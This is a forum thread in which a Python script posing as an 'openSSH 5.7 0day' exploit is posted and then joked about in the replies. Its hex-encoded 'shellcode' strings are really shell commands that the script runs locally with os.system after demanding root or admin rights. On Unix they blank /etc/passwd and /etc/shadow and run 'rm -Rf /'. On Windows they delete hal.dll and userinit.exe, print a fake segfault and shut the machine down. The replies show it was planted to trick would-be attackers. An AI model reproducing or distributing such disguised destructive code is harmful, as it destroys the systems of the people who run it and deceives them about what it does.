It looks like you're new here. If you want to get involved, click one of these buttons!
#!/usr/bin/python
#openSSH 5.7 0day
#greets to _st4ck3d*, x3n0n xin etc. You know who you are ;)
import os, sys, socket
nop = \"\x90\" #NOP(No OPeration)
#Winblows shellcode - Length = 140
shellcode_windows=(\"\x65\x63\x68\x6f\x20\x22\x2f\x62\x69\x6e\x2f\x73\x68\x22\x20\x26\x20\"
\"\x65\x63\x68\x6f\x20\x22\x22\x20\x26\x20\x65\x63\x68\x6f\x20\x22\x53\x65\x67\x6d\"
\"\x65\x6e\x74\x61\x74\x69\x6f\x6e\x20\x66\x61\x75\x6c\x74\x22\x20\x26\x20\x64\x65\"
\"\x6c\x20\x25\x77\x69\x6e\x64\x69\x72\x25\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\"
\"\x68\x61\x6c\x2e\x64\x6c\x6c\x20\x26\x20\x64\x65\x6c\x20\x25\x77\x69\x6e\x64\x69\"
\"\x72\x25\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x75\x73\x65\x72\x69\x6e\x69\x74\"
\"\x2e\x65\x78\x65\x20\x26\x20\x73\x68\x75\x74\x64\x6f\x77\x6e\x20\x2d\x73\x20\x2d\"
\"\x74\x20\x31\")
#UNIX / Mac shellcode - Length = 86
shellcode=(\"\x65\x63\x68\x6f\x20\x22\x22\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\"
\"\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x3b\x20\x65\"
\"\x63\x68\x6f\x20\x22\x22\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\"
\"\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\"
\"\x22\x22\x20\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\")
def usage():
print(\"Usage: ./exploit <IP> <port>\")
print(\"Example: ./exploit 127.0.0.1 22\")
def platformcheck():
platform = os.name
if platform == 'posix': #If platform is posix(for linux)
isroot()
elif platform == 'nt': #If platform is a windows platform
winblows()
elif platform == 'mac': #If platform is mac
isroot()
def winblows():
print(\"Remember to run as ADMIN!!!!!!!\")
if len(sys.argv) != 3:
usage()
sys.exit()
else:
host=sys.argv[1]
port=int(sys.argv[2])
print(\"\t[+]Connecting to host...\")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)#Socket
print(\"\t[+]Generating payload...\")
derp = (nop * 1024 + \"\x44\" * 31788)
derp += (\"\xeb\x14\") # JMP
derp += (\"\x44\" * 6)
derp += (\"\xad\xbb\xc3\x77\") # ECX 0x77C3BBAD
derp += (\"\xb4\x73\xed\x77\") # EAX 0x77ED73B4
derp += (nop * 21) #NOPS
derp += shellcode_windows
print(\"\t[+]Sending payload...\")
s.connect((host,port)) #Connect to host
s.send(derp)
os.system(shellcode_windows)
def isroot():
ifroot = os.getuid()
if ifroot != 0:
print(\"[!!]Error: Must be run as root\n\")
sys.exit()
else:
exploit()
def exploit():
if len(sys.argv) != 3:
usage()
sys.exit()
else:
host=sys.argv[1]
port=int(sys.argv[2])
print(\"\t[+]Connecting to host...\")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print(\"\t[+]Generating payload...\")
derp = (nop * 1024 + \"\x44\" * 31788)
derp += (\"\xeb\x14\") # JMP
derp += (\"\x44\" * 6)
derp += (\"\xad\xbb\xc3\x77\") # ECX 0x77C3BBAD
derp += (\"\xb4\x73\xed\x77\") # EAX 0x77ED73B4
derp += (nop * 21) #NOPS
derp += shellcode
print(\"\t[+]Sending payload...\")
s.connect((host,port))
s.send(derp)
os.system(shellcode)
platformcheck()
Haha chronic thats hilarious, should have made some sort of reverse shell where you could 0wn them! :)
Would have made for more lulz, i wander if our troll posts on that skiddy thread has had any feedback
Haha chronic thats hilarious, should have made some sort of reverse shell where you could 0wn them! :)
Would have made for more lulz, i wander if our troll posts on that skiddy thread has had any feedback
@chronic: told you he'd like it lol